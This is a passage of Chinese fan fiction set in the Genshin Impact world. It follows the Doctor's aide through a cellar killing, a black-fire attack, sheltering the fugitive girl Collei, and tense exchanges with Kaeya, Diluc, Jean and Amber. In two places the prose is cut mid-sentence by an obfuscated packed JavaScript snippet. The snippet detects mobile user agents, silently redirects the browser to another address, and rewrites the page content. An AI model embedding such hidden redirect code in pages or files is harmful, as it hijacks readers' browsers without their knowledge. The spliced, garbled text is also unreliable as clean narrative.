那目光实在是过于明显,也过于潮湿。我努力忽视着来自赞迪克的目光,露出一个平静的微笑。 赞迪克突然冷嗤一声。 “那个蠢货。你既然知道有诈,为何不提醒一声?” 我反问:“这是您的命令吗?” “……不是。” “那么,答案已经很明显了。我没有理由去提醒克洛伯。Beta大人,您说是吗?” 赞迪克啧了一声。 他终究没再说什么,只是掠过我朝前走去,对我说了一句“跟上”。 赞迪克大概是要去找克洛伯的。我没有问赞迪克准备用什么方法找到人,赞迪克自然有他的办法,我只需要安静跟着就好了。 用一些手段神不知鬼不觉地绕开庄园的仆从,赞迪克带着我走过一段不短的廊道,在最尽头,一扇门静静打开,后面是弯曲向下的楼梯。 地下酒窖。 足够隐蔽,也足够隔音。 总之,等到我们顺着楼梯走下去的时候,里面已经隐隐约约透露出几个人的声音,克洛伯颤抖惊恐的惨叫声响起,以及最里面的对话。 “告诉我,【博士】的目的到底是什么?” “我说!主人,主人的目的是……” 声音戛然而止,因为赞迪克出手了,动作相当利落,悬浮的尖锥被操控着贯穿克洛伯的太阳穴,一击毙命。 克洛伯的尸体摔倒在地上,发出“嗵”的一声闷响。 赞迪克冷笑:“真是无能。” 里面,刚才威胁克洛伯的另一人,一身黑色的潜行装,戴着面具,一头红色的高马尾十分显眼。 我稍稍探出头看了一眼,认出那个作了一副夸张打扮的人正是这座庄园的主人,迪卢克。 赞迪克:“雇佣合同写了,泄密是要销毁档案的。呵,不过,左不过一个蠢货而已。倒是你……” 我注意到赞迪克的视线短暂停留在迪卢克的手上,那经过改造镶嵌一颗暗红色圆形宝石的手套。 “比起那个废物,你的这个‘神之眼’,倒是十分有趣。” 神之眼? 我也观察着那人手上红色的宝石,从里面感受到浓郁的,熟悉的气息,构造与邪眼很相似,但似乎又存在着些许差异。 “……你在说什么?” “哼哼,余兴到此为止吧。好好磨练你那微不足道的力量吧,说不定,你的未来会变得稍微有趣一点。哦,对了,塔德纳。” 我收回视线靠近半步赞迪克。 “大人。” “回收工作交给你了。做完之后记得出来找我。” 说完这一句话,赞迪克就转身离开了。 我看了一眼赞迪克毫不留念转身离开的背影,又看了一个地上的克洛伯,最后和半蹲在克洛伯身边,呈警惕状态的迪卢克面面相觑。 我:“……” 最好用的跑腿走了所以现在无缝衔接使用我吗…… 赞迪克那个家伙…… 虽然我很想就这样离开这里,管他什么命令不命令的,但想到后续的处理程序以及出门的时候使团负责人特意恳求我“要看好赞迪克别让他胡来”的话。 我忍不住叹了口气,走过去,在迪卢克越发警惕的视线里双手举起。 “心善的老爷,如您所见,我只是奉命来回收我这位无用的同僚的而已。所以,还请不要对我有这么大的敌意。另外,可以请您站起来离得远一点吗?您这样看着我,我也是会害怕的。” 迪卢克眼神犀利:“你知 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凯亚:“既然我们都对彼此的身份知根知底,这样投机取巧的话就不用积蓄了吧,副官先生。我相信,副官先生与我们的时间一样都很宝贵,不是吗?” “‘知根知底’……呵,自然。能在蒙德再次见到迪卢克先生,倒是着实让我吓了一跳呢。” 迪卢克:“……” 凯亚挑眉,若有所思地看了一眼迪卢克:“哦?原来副官先生还和迪卢克老爷认识。” “好了。”迪卢克打断凯亚的话,对我说,“你走吧。” “感谢您的心善,晨曦酒庄的老爷。” 从口袋里拿出储物装置然后对准克洛伯的身体,看着那具肥硕的尸体被吸引进装置里,转身准备离开的时候听到迪卢克的声音。 “……不用,就算是你之前搭救过我的回礼吧。” 我身体一僵,随即释然地笑出声。 “‘搭救’?真是有趣的说法。不过,当作我心血来潮的提醒好了,不用因为那件事对我怀有什么感激和报答的情绪。欠别人人情所以不得不为的出手罢了。” “但你确实帮了我。” “迪卢克老爷。”我转头对上那双如火般的红色眼睛,“善行与恶举从不对等,可别忘了,布下埋伏将您抓住,陷您于险地的人,也是我。” “如果我是您,就不会选择对敌人,降低自己的防备心。” 迪卢克沉默着看着我,眼瞳里倒映的灯光像是将熄的炉火。 我将手里的收纳装置向上轻轻抛起,又稳稳接住,越过堵在楼梯口的凯亚时突然想起一件事,又停下来。 我转头,视线从身边紧盯着我的那只十字星眼睛扫过,转移到迪卢克左手上的那只手套。 “对了,虽然这种事情早有定夺,其实也不用一定要我在这里说,但是看在你们好像都很在意的份上,就算是【博士】大人打扰了这场精心布置的宴会的罪礼吧。不用担心所谓的征募计划,那个大概会被直接废弃,毕竟,一直坚定要执行这个计划的人已经死了。这样的回答,你们应该能满意了吧。” 迪卢克不语。反而是离我最近的凯亚向我逼问。 “那么,【博士】来蒙德的目的到底是什么?” “这么直白吗?和庶务长大人一向的风格似乎不太搭配呢。”我笑出声,伸出一根手指抵在唇边。 “嘘——这样的问题就不要问我了,会给我惹麻烦的。” 看着凯亚沉下来的神色和周身变得紧张的气势,我的心情变得稍微轻松了一点。 甚至忍不住歪头指了指自己的左眼。 “您的眼睛,像星星一样,很好看呢。” 凯亚似乎突然变得紧张,他的瞳孔略微收缩,后退了小半步。 “是吗……感谢副官先生的夸奖,实在荣幸。” “不用谢。再额外赠送一个友情提醒好了。” 我伸出自己的左手,视线直直望向迪卢克手上那块宝石。 “凡事皆有代价。不属于自己的力量,不用为好哦。” 87.第 87 章 从酒庄出来后难得感到神清气爽。我将这样的感觉变化归结于终于不用被泡在宴会的酒味里熏陶了。 那样浓重的酒味,即使是没有入口,也不由得让人生出一种酒醉晕眩的感觉。 在周围看了一圈找到愚人众的车队,将回收的克洛伯尸体交给赞迪克,今晚的事情也算是彻底告一段落了。 我以为赞迪克至少还会在蒙德城再多待一段时间。因为那块与邪眼相似又不同的宝石让赞迪克似乎稍微起了点兴趣的样子,不过,出人意料的是,赞迪克决定离开了。 突兀地来到蒙德城,又突兀地决定离开,虽然暂时没有收到要返回至冬的命令,我也并不认为赞迪克来一趟蒙德真的只是为了克洛伯那个临时提出的,为自己的实验失败开脱的,所谓的“征募计划”。 但赞迪克确实对蒙德之旅表现得兴致缺缺。 “哟,副官先生。”熟悉的声音传来,凯亚笑着拍了拍我的肩膀。 “真巧啊,我们又见面了。” 我瞥了一眼被拍得有点发麻的肩膀,伸手覆在上面护住,才转身看向凯亚,往远离的方向稍退一步。 “西风骑士团的庶务长大人,没想到能在这里见到你。” 我看了一眼四周的西风骑士和愚人众士兵,用惯常的,带着足以让人放松警惕的笑意的声音开口。 “只是护送离城的任务而已,没想到竟然惊动这么大的阵仗就算了,连庶务长大人也亲自参与。” “毕竟诸位可是来自至冬的贵客,蒙德自然要有最高的礼节相待。”凯亚的笑意亦无可挑剔,“再者说,副官先生不也在这里吗?” “保证大人的出行安全当然是身为副官的第一要义,我和庶务长先生的情况,可不太一样。” “哪里哪里。团长大人也很担心呢,生怕是因为蒙德招待不周,所以才导致来自至冬的各位贵宾这么早就离开。诸位还没体验过蒙德的羽球节不是吗?” “我以为,至冬的使团离开蒙德,会让你们稍微轻松一点?那可是蒙德的大节日,至冬的使团只会徒扰节日的兴致——你们,大概是这样的想法吧?” 凯亚依然保持完美的笑容。 “这可不是我的意思哦,副官先生。蒙德现在可是诚惶诚恐,想要知道哪里让贵客们不满意,来尽快弥补呢。” 原来,只是想知道赞迪克突然撤离蒙德城的理由吗? 只不过,这种事情,故意从我这边打听,是吃准了我不会告诉赞迪克和愚人众的其他人吗? 当然,这样的思路倒也并没有错,我完全需要坦诚的人只有多托雷,而面对赞迪克,我更偏向于隐瞒。 一是我没有任何理由和义务对赞迪克持有忠诚,第二则是,如今赞迪克对我的目的不明,我需要稍微保留自己的情报高地,以面对突发情况。 我正想暗示凯亚自己也不知情这件事,却发现不远处似乎突然传来了骚动,好像是车队前面发生了什么,下一刻,直冲天际的黑火凭空冒出,将身边正在经过的车辆完全包裹吞噬。 “小心!”凯亚高声提醒着我,一手拉着我的手臂将我用力拽到一遍。 刚才如在耳边的炙热感瞬间退去。 我踉跄两步站稳,转头看到那瞬间被完全吞没的车辆上熊熊燃烧的黑火似乎有愈演愈烈的趋势。周围都骚乱起来,我和凯亚离得不远,正正好能听见车内凄惨的尖叫声。 “不能让火势继续蔓延!”凯亚当机立断地做出判断。 “这里就交给我吧,庶务长大人。你先去疏散普通人,维护秩序。”我将手伸进口袋里,掏出一早备好在那里的邪眼。 “你?你要怎么解决?这可不是普通的火焰。” 确实,正如凯亚所言,这样的火焰,浑身散发着黑色的不详气息,却散发着常人难以忍受的灼热温度,足以顷刻间烧得人骨裂成灰。刚刚只是靠的离那车稍微近了一点,我便感受到犹如撕裂的灼伤,耳侧的头发也被烫卷了一缕。 不过…… “稍微相信我一下吧,庶务长先生,毕竟,我可是那位【博士】的副官。” 我刚刚好像看见了一个熟悉的人影。 那个人影不该出现,我很清楚这点。要是被西风骑士团和凯亚先发现这件事就不好办了。 凯亚似乎是被我的气势稍微镇住了一下,他点了点头,说了一句“小心点”就快速跑开去指挥那些慌了手脚的西风骑士疏散人群了。 我将口袋里的冰系邪眼挑出来,以高倍率激活的一瞬间,足有三人高的冰墙凝结出现,四面八方将黑火包围住,隔绝了火焰蔓延的可能。做完这些,我又拿出一枚水系邪眼往冰墙里面灌入大量的水,被火焰蒸发出现的水蒸气瞬间升腾而出,笼罩了附近的一片街道。 差不多了,就是现在。 按照脑海里记住的人群逃难拥挤的方向和大致的街道印象,我穿过浓重的白雾,终于在一辆烧成黑炭的车辆前面发现了“凶手”。 身覆白色的布条,光着脚,身形瘦弱,似乎还是未成年,而那头绿色的卷发和熟悉的紫色眼睛。 我忍不住低声惊呼了一声。 “柯莱?!” 刚才好似还陷入巨大的痛苦中,眼神都呆滞涣散的少女终于恢复了些许的神智,那双紫色的眼睛缓缓看向我。 “你是……塔……” 少女的声音像是久未滋润,一派干涸沙哑。 “副官先生,你在这里吗?我看不到你了,这里的雾气太重,如果你在的话,能出个声吗?” 凯亚的声音从极近的方向传来。 我咬了咬牙,伸手快步走过去将柯莱的嘴捂住,少女现在已经完全恢复神智了,也终于认出了我,在我手下呜呜地挣扎起来。 我没时间去辨别柯莱想说什么。现在的情况十分紧急,我不能让柯莱被愚人众抓住,更不能让她被西风骑士团的人发现。 否则,这一场后果惨烈的损失一定会被完全归责于少女身上。蒙德不会扛着得罪愚人众的代价偏袒一个身份可疑的少女,唯有这点,我十分确信。 于是我半蹲下来,让自己的视线与柯莱平齐。 我深吸了一口气,尽量保持平稳的语气:“柯莱,现在听我说:你必须马上逃离这里,不要被抓住,知道吗?远离坏人,特别是愚人众的人,我之后会来找你的。” 我从怀中随便找出一个摩拉袋塞进柯莱的怀里,将少女朝一个隐蔽的方向推去。 “照顾好自己!” 看着那道瘦弱的身影摇晃着消失,我稍微松了口气,只是气还没松完,肩膀便被狠狠拍了一下,吓得我下意识站起来,手中的冰系邪眼积蓄力量。 “你在这里,吓死我了,我还以为你出了事。” 是凯亚,我能从那只仅露出来的眼睛看到一点担忧。 我紧了紧手心,将手揣进口袋里,连带着那只被掐灭的邪眼。 “我很好。对了,下次能不要在拍我的肩膀吗?我不习惯被这么做。” “抱歉。”凯亚歉意地笑了笑,“我刚刚看见你似乎是在蹲着和谁说话,那个人是谁?” 我维持冷静的声线:“一个走丢的孩子而已,被吓到了,我哄了两下,家长来了之后就把那孩子交还回去了。” “这样啊。”凯亚露出一个“原来如此”的表情。他朝我伸出手。 “混乱已经被平息了,伤者都被紧急送到了教堂医治。你也去一下教堂吧,也好确认一下身体无误。来,我拉你,这里的雾太重了。” 说着,那只手朝我的方向又更近了半步。我微微皱眉,避开那只手。 “感谢您的好意,但是不用了……” 右手手腕被用力抓住,凯亚拉着我朝他的方向狠狠拽过去。 “先前在宴会上就注意到副官先生的步伐并不协调,很少使用右手,即使是不得不使用右手的情况,力道也会放得很轻。果然,我的猜测没错,你的右手手腕无法用力,对吧?” “……请放开我,西风骑士团的庶务长。” “就算生气也不愿意称呼我的名字吗?好吧好吧,我当然会放过你,在我的问题得到解答之后。”那只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160588|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如星空深暗的眼睛微微眯起。 “首先,第一个问题,副官先生明明没有神之眼,又是如何使用元素力的呢?唔,似乎还是两种,如果我没看漏的话。” “以及,第二个问题,早在执行出城护送任务之前,蒙德城的小孩子和大部分市民都被劝说待在家里了。那么,副官先生看到的‘小孩子’,究竟,是什么人呢?” “你在逼问我?”我直视那只眼睛。 “哪有哪有,只是友好的询问而已。” 我动了动自己的右手手腕,那里被故意按住某一处筋脉,不仅无法用力,还疼得发麻。 “这样的‘友好’?” “毕竟副官先生一看就是很难缠的人,再者说,如果副官先生真的会使用好几种元素力的话,光靠我的力量,又要如何才能让你像现在这样,解答我的疑问呢?” “呵。” 我忍不住笑了一声:“友情提醒,庶务长大人,‘刑讯逼问’可不是您这样轻飘飘的手法。” 随着一声清脆的“咔嚓”声,无数的冰棱拔地而起,将我和凯亚隔开。凯亚吓得立刻松开我的手,连连往后退了好几步才避开那道尖刺朝他的冰棱。 我揉了揉发疼的手腕,微笑。 “庶务长大人,我想这个距离或许更适合我们之间的对话。不过看您的表情,似乎不太想和我展开一场更为公平平等的对话呢。如此,在之后的会议上,我们再见吧。” 凯亚脸上的笑意彻底褪去,眼神冰冷地看着我。 我环住手腕上被掐出来的深痕,将衣袖向下扯了扯盖住那里,然后才对着凯亚笑了笑,转身离开。 不过,说是下次再谈,事实上我根本没能等来和凯亚的下次见面。 赞迪克早已经到达了蒙德的某处实验室安整,这件造成了至冬1名外交官死亡,5名愚人众士兵受伤的黑火案最终被压到下面的人来负责交涉,即使团的负责人。 我本来也是能忙里偷闲一下的,只可惜多托雷这次给我挂的身份在使团这边,负责人又亲自找上了门,花了整整三个小时,跟着我从半路走到实验室大门,晓之以情动之以理恳求我帮忙处理这件事。 我被迫答应处理这件事,不然我实在很难相信被负责人在门口哭爹喊娘地求上一遭,第二天我又会多多少流言绯闻出来。 给赞迪克留了个纸条报备,我就又回到了蒙德城着手解决这件外交事故。 与我对接的蒙德方代表人是西风骑士团的代理团长琴,至于凯亚,则自始至终都没有出现过一次。 而重新返回蒙德城后,我也开始寻找柯莱的踪迹,但我的空闲时间实在很少,寻找柯莱这件事又不能被其他人知道,所以即使连着好几天都趁着晚上出门寻找,但快把蒙德城转了个遍了也没找到柯莱。 我有些担心柯莱是被西风骑士团的人抓住了,但第二天向骑士团的人施压交出黑火案的犯人的时候,那位代理团长仍是告诉我犯人还没有找到。 交涉进行地十分之不顺,一直僵持了一周的时间也没什么进展,甚至,就连蒙德的羽球节也在这样紧张的氛围里开始了。 难得停止了一天交涉会议的日子,我决定出门散步平缓一下最近变得焦躁起来的心绪,结果在路过蒙德的图书馆的时候,在一个角落看到了找了好几天的那个身影。 “柯莱?” 那道被布帛裹缚好几层的身影似乎愣了一下,随即才转过头来。 我刚想伸手打个招呼,背后却突然传来箭矢破空的声音,来不及躲避,我下意识偏头,带着火元素的利箭从我的耳畔飞过,清脆的碎裂声随之响起。 “你是,愚人众【博士】的手下?离开柯莱!” 我伸手用手背擦掉侧脸流出来的鲜血,看着摔碎在地上,蓝色的液体淌了一地的试管耳饰,意识恍惚了一阵,犹豫一下,才蹲下来,伸手去捡那破碎的碎片。 火一般的少女从我的身边飞速掠过,她警惕地看着我,挡在柯莱的身前。 “愚人众的人,你靠近柯莱是想要做什么?”少女愤怒地质问。 88.第 88 章 我其实,已经不太能记得起多托雷是什么时候给我的耳坠了…… 只是,从那最早的,尚还能记起些许的记忆开始,这只与多托雷同对的耳坠便如同自身的印记一般,牢牢地铭刻在我的身上,如同与生俱来。 携带着多托雷随时可以开启的监控和惩罚装置,成为我身体的一部分,严丝合缝地嵌合在耳垂上。 我记不起自己对这只耳坠从前是如何想法,只是偶尔与多托雷相拥之时,从多托雷的虹膜上会映出那只随着动作不住摇晃的耳坠。 连同多托雷的一起。 虽记不起这只耳坠被钉入这具身体时最初的感受,但于现在的我而言,重量不轻的耳坠如今已经不再会彰显难以忽视的存在感。 不可否认的是,它如今,已成为了堪比我原初的一部分。 以至于让我感到—— 难以割舍。 …… 在柯莱慌慌张张地站出来解释的时候,我才从巨大的嗡鸣声里面缓过神来。 但耳鸣的声音依然占据大头,连带着大脑也像是被绑在一根绷紧的线上弹拨。 我从地上站起来,碎片在手心硌出形状,些微的疼痛让我能稍微集中下来一点精神。 “……你们误会了,他……他不是真的坏人,我认识他……当初放我离开实验室的人,就是塔德纳……” “柯莱,不要被敌人蒙骗了,他可是那个执行官的副官。不要过去,你会被伤到的!” 在柯莱的身边,不知何时多出来好几个人,不仅有骑士团的那位副团长琴,还有晨曦酒庄的迪卢克,以及,多日没碰见过的凯亚。 他们担忧地看着柯莱,同时,也将柯莱护在身后。 防备着我。 我说不清自己现在的感受,理性的分析告诉我眼前所发生的一切都是无比正常的:对我的戒备,对我的厌恶,对我视作敌人。 我是多托雷的共犯,共享多托雷手中的鲜血和罪孽,也合该和多托雷一起沉沦于罪恶,为万人所不容。 甚至比起多托雷,我更加可笑,会因为脑海里偶尔浮现出来的,不知由头的道德感去做一些多托雷绝不会费力去做的事情。 比如—— 放走一名实验体,并在几个月后再次与这名实验体扯上关系。 我合该及时止损,比如从黑火案的伊始就不去与柯莱搭话。 不去主动掩护她的行迹放走她,也不去耗费这么多的夜晚寻找少女。 徒劳的帮助,早该结束了不是吗? 或许,在体内的黑火涌动,意识被剥离陷入痛苦之时,从实验室历经生死逃离也没找到归处的少女也会有“如果当初没有逃跑就好了”这样的想法。 手指死死地攥紧,透明的晶体的碎片切进掌心的肉里,像是粗粝的锯条撕扯肉条一样。我能感受到疼痛,感受到掌心被湿热濡湿,脑海中却升不起松开的想法。 “我没有要伤害别人的打算。”我努力平息着自己的气息和脑海里翻腾的负面情绪。 手掌的伤口并不算很严重,在体内能量被激发的一瞬间就开始止血愈合,所以我只需要稍稍垂下那只手臂遮住手掌便能够不被人发现。 “我会马上离开这里,这件外交事故也会被移交回至冬使团的负责人与你们交涉。这样,蒙德城内往后不会再出现【博士】势力的人。这样,你们可以稍微放心一点了吧。” “真的?但我们要怎么相信你会说到做到?以你的身份,你不是更应该站在至冬那边,替那些死去的人讨回公道吗?” “安柏……” “柯莱,你不要说话!不能相信狡猾的愚人众的一面之词!如果不是愚人众,今年的羽球节,大家也不用过得如此胆战心惊。” 西风骑士团的侦察骑士,火系神之眼的拥有者,安柏。 我从西风骑士团的情报里见过这个名字,热情友善的少女,在侦察骑士已然没落的现在,独立承担履行着这份职责。 毫无疑问,这位热心肠的少女是真的在以真心对待柯莱,甚至不惜以己身面对一位依据传闻来看位高权重的执行官的副官。 我稍吸了口气。 “单论个人信用问题的话,我恐怕没有什么能拿来说服各位的。不过,既然西风骑士团的庶务长大人在这里,他自然可以作证,我至少是对柯莱没有恶意的。” 被点到名的凯亚瞬间收获了各色的眼神打量。 惯以精明技俩伪装自己的青年无奈地笑笑:“这就到我出场了?比我预料中的可快多了。” 迪卢克沉声提醒:“不要转换话题。” “好,好。”凯亚作出投降状,“不过我可得说好,这件事,得算副官先生欠我一个人情。” 我:“随你……” “好吧,看在副官先生如此爽快的份上。”顶着各色的眼神,凯亚从容不迫,“我确实能证明。黑火案的现场,当时掩人耳目放走柯莱的就是那边的副官先生。” 柯莱也急切地从怀中掏出一个摩拉袋。 “这袋摩拉也是当时塔德纳先生给我的。”她将摩拉袋底面的愚人众标示展示给众人,“所以,塔德纳先生真的不是坏人啊!” 在凯亚的证言和那袋摩拉袋的证据加成下,原本对我还十分敌视的目光减轻了不少。 “原来是这样。所以,柯莱之前说过的,帮了自己很多,如果有机会再见面想要感谢报答的人其实是……” 柯莱疯狂点头:“没错,就是塔德纳先生啊。” “那我,那我刚才岂不是……”安柏一下子变得慌张,脸色爆红。 少女无助地看了眼周围的人,随即一咬牙,像是下定了什么决心一般,猛地向我的方向鞠躬一下。 “对不起!是我刚才不分青红皂白地就把你当成坏人,还伤到了你,实在是太抱歉了!” 柯莱:“不……说到底安柏也是太过关心我才这样的,要不是我没能早点解释清楚,也不会变成现在这样……” 我放轻声线。 “没关系的,反正那道伤对我也不算重,现在都快恢复了。” 实际上被箭头划破的侧脸早在我从地上站起来的时候就已经完全愈合了,只剩下被我用手背擦过一下后留在脸上的血迹提醒着那里不久前被伤到过。 “既然误会已经解除,那么,我便先行离开了,各位。” 柯莱愕然地看向我:“这么突然?您这么快就要走了吗?” 带着明显的不舍。 我露出一点微笑。 “我想,你已经遇到了很不错的伙伴了,不是吗?我会让愚人众不再彻查黑火案的真凶。蒙德是一个很自由的地方,既然已经离开了那个可怕的地方,就试着努力地,全新地生活下去吧。” “可是……” “副官先生,还请留步。”在柯莱出声之前,凯亚先一步叫住了我。 我稍微停顿了一下,才偏头看向凯亚。 “什么事?” 凯亚笑着晃晃手里被烧焦了一半的几页纸。 “好心的副官先生或许愿意在离开之前为我们稍稍解惑?” 我定定地看着凯亚,这样的打量或许持续了一段时间,也或许只是很短的几秒。总之,在确定凯亚似乎真的只是想让我看看那几页纸后,我最终还是稍微向凯亚的方向走近两步,伸出完好的左手拿过凯亚手中的东西。 那是一叠烧毁痕迹还十分崭新的牛皮纸,似乎是某种札记,上面画满了图案,旁边则是各种解释或是札记主人的猜想。 只看了一眼,我便判断出这东西的来历。 “你们从哪里得到这个的?” “这个,就是秘密了。”凯亚一脸神秘的笑容,“不过,副官先生应该能认出这个东西才对。” 当然能认出,毕竟—— 这可是实验室的东西。 而这一部分,记录的正是魔神残渣和人体改造可能性实验的部分,上面的试剂,虽然是一代版本,但与柯莱当时经历的那个实验是完全同源的。 这才材料大概是黑火案的时候被西风骑士团捡到收起来的,那天的混乱那么大,赞迪克又临时要求要将实验器材和资料带走,在足以焚毁一切的火焰之中,唯有这些资料部分残存。 可是,西风骑士团为什么要调查这个? 不,按照推测来看,会对这些资料感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164397|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴趣的,或许另有人在。 我不着声色地瞥了一眼不远处的柯莱,正好看见那双紫色的眼睛时躲避时集中,目光朝着我和凯亚的方向看的时候,视线的落点正是在我手中的资料上。 我了然,将手里的资料交还给凯亚。 “如果我是你们,就不会选择继续深入调查一个深渊。” 凯亚神色冷凝:“即使这与一个孩子的性命相关?” 他就像是没有看见不远处柯莱瑟缩了一下一般。 我不置可否。 “你们,应该在蒙德发现过一些奇怪的东西吧,”我提醒道,“比如野外,比如魔物的聚集地。” 一直旁观的琴严肃地出声问我:“你怎么知道?” 我转身,向这位认真可靠,颇具民意的蒲公英骑士伸出左手。 “方便让我看一眼吗?” 琴思考了一下,看了一眼我周围,大概是凯亚和迪卢克两个人,然后才走过来,将两样东西递给我。 其中一个是状似甲虫的机械,翅膀弥合可以看到一个愚人众的标志,而另外一个零件…… 我皱了皱眉,在那块零件上感受到极为强烈的魔神残渣气息,以及—— 死亡的气味。 由某人尸体改造而成的,简易的驱动机械。 素体则是——克洛伯。 我感到一阵恶寒,将那两样东西交还给琴,想要用手帕擦手,下意识伸手进口袋的时候才想起来碎掉的耳饰晶体碎片现在还在我的掌心,嵌进去极深,又因为伤口快速愈合被封在肉里,不划开手掌取的话根本不可能拿出来。 于是我只能歇了擦手的心,强忍着恶心开口。 “最简单型号的监视装置,如果我没猜错的话,你们应该是在蒙德城不远处发现的这个东西吧。” 琴:“确实如此。” “那么,我会建议你们对蒙德城进行一番搜查。至于另外一件东西,你们大概不会想知道这个脏东西的来历,我只能说,那是一件迪卢克老爷和庶务长大人都知道的东西。” 迪卢克愣了一下。 凯亚最开始也没反应过来,看到我脸上掩饰不住的嫌恶之后才稍微明悟。 “是酒窖的那个……” 在意识到零件来源的一瞬间,凯亚的脸色也变得极不好看。倒也难为那样一张深色的脸还能变得更黑几分。 迪卢克皱眉。 “这就是……【博士】吗……” 琴迷惑地看着打哑谜的两人,大致猜出这玩意儿恐怕不是什么好东西,一时之间也不知道是该扔还是继续拿着。 我叹了口气。 “情报分享到此为止吧,各位。如果不是今天情况特殊,我可不敢把这些东西透露出去。单凭监视器一件事,要是被那位知道,就够我好好喝上一壶的了。” 我伸手捏了捏自己只剩下耳钩的左耳。 那里惯常习惯的重量消失后反而让我觉得轻飘飘的极不适应。 “感谢你的帮助,塔德纳先生。”琴郑重其事地看着我,“西风骑士团会记住你的帮助的。” “……随便吧,下次别再用这么粗暴的手段对我就行。我还挺怕疼的。” 我突然感到一阵疲累。 总算是应付完了这些人。告别之后,我顺着一条人很少的小径准备离开蒙德城,等到到了一个无人的角落之后,才将隐藏了许久,已经有些发麻的右手拿出来。 看着上面零碎扎进皮肉的碎片,我感到些许的头疼。 真是的……竟然会因为耳坠不小心打碎的事情失控…… 不能举着这样一只手回去,要是碰到赞迪克,指不定会被怎么嘲弄。 虽然知道耳坠打碎之后,赞迪克也肯定会讥讽我几句,但至少,他不会知道我竟然失控到伤害自己这件事。 就在我纠结要怎么取出来的时候,一只手帕突然垂到我面前。 我往后看去,正看见凯亚那张笑得狡诈的脸。 “副官先生好像很苦恼的样子呢。需要大名鼎鼎的西风骑士来帮忙吗?” 我:“……” 这家伙,就这么喜欢从背后突然出现吗? 89.第 89 章 排:含掌掴暴力情节(越写到后面反而自己也忍不下心了,还是排个雷吧) “庶务长大人,我想您或许更应该考虑一下自己的出场方式是否会对其他人造成惊吓和负担。只有志怪小说里的精怪才会悄无声息地从人的背后出现。” 我止住自己下意识反击的动作,落到别人眼中大概是受到惊吓的人胳膊抽动了一下。但我很清楚这样的伪装其实瞒不过身后的人。 好在,这位不知因何原因找来的庶务长并不会因此感到被冒犯和生气。 那只独露出来的,奇特的十字星眸坦然地看着我,看着我的右手。 “没想到我在副官先生的眼里竟然是食人精血的妖怪吗?”凯亚笑了一声。 我们此刻的距离实在是过分接近,以至于我能够听到那胸腔鼓动,震颤出愉快又刻意接近的笑声。 我想要远离,却被凯亚先一步按住肩膀。 “稍等一下,副官先生。就算是这么不待见我,也好歹先让我帮你处理一下伤口吧。异物长时间停留在身体里可是会造成严重的损害的。” “我想没有这个必要,西风骑士团的庶务长大人。”我特意加重那个职称,“和一名愚人众行止过深可不是什么明智的决定,特别是对您。以及,还请不要触碰我,我不习惯和其他人接触。” 凯亚举起手,向我无辜地展示。 “抱歉,我还以为你讨厌的是被突然用力地拍肩膀。我下次会注意的,嗯……塔德纳。” 我如愿远离凯亚的“桎梏”,虽然我并没从后者身上察觉到想要控制我的意图,就算是手掌搭上的时候,也能感觉到凯亚其实有在刻意控制力度不至于让自己力度太大。 我凝视着凯亚的表情,让自己后退两步。 即使是因为身高而向下的视线,凯亚的脸上也从未浮现过类似于俯视的表情。 他向我轻声询问:“我可以直接叫你的名字吗?塔德纳。” 我回答:“如何称呼我都是您的事情,我无权干涉。” “你是这样想的吗?但是我觉得至少要让被称呼的人感到舒适才行,比如,我倒是很希望塔德纳在称呼我的时候能够直接叫我的名字。既不是‘西风骑士团的庶务长’,也不是‘庶务长大人’,只要叫我‘凯亚’,就可以了。” 我:“……” 见鬼了,怎么最近认识的人一个两个的都喜欢我直接叫他名字? 我委婉拒绝:“我记得您好像并没有对我之前对您的称呼表达过不满,不是吗?既然如此,我想也并没有理由更换对您的称呼。” “那么,我现在感到不满了。” “……” 凯亚笑吟吟地看着我,欣赏了一会儿我无话可说的表情后伸出手。 “把手给我吧,我来帮你处理一下伤口。” “不用……” “之前黑火案的时候,我需要向你道歉。” 我愣了一下,在脑海里想了一圈才记起来凯亚所说的到底是什么事。 当时黑火案现场,被抓住手腕逼问的时候。 凯亚趁着我没反应过来的几秒靠近我,陌生的气息一瞬间近乎要将我完全笼罩起来。 他伸手抓着我的袖口的衣料将我的手臂拉过去,观察着那被扎得不成样子的掌心。 我下意识挣脱,却听见凯亚又说了一句。 “对不起,塔德纳。”真诚而庄重。 我抿了抿唇,最终还是摊开了手掌默认凯亚的动作。凯亚小心翼翼地隔着布料扶着我小臂,似是还在顾及我那句“不习惯和其他人接触”。 碎片被隔着一层布帛扯出,尖锐的疼痛和伤口扩开涌出的鲜血让我的手指抽动了几下。 凯亚低声说了一句:“得罪。”但手上的动作依然平稳坚定。 清除完碎片,凯亚迅速地拿出一瓶伤药洒在我的伤口上,又拿出一张新的手帕将那里包裹起来。 我没有出声,亦没有拒绝。即使我完全清楚以我的体质,凯亚撒药粉的速度估计还赶不上我伤口愈合的速度,多此一举除了浪费药物没有任何意义。 在过往的无数次,即使胸腹被剖开,如果不去乞求也不会被准许缝合处理。 体内神秘而强大的恢复能量让我的伤口能够迅速愈合,不受毒物侵害,甚至让我得以完成西西弗斯推动上万次巨石也不曾完成的伟业——免除死亡的威胁。 但同样的,我似乎不再拥有“成为常人”的权利。 即使是寥寥还算信任的下属,以及知晓我特殊体质的执行官,也不会在我受伤的时候产生“哦,这个人或许需要一点医学救助”之类的想法。 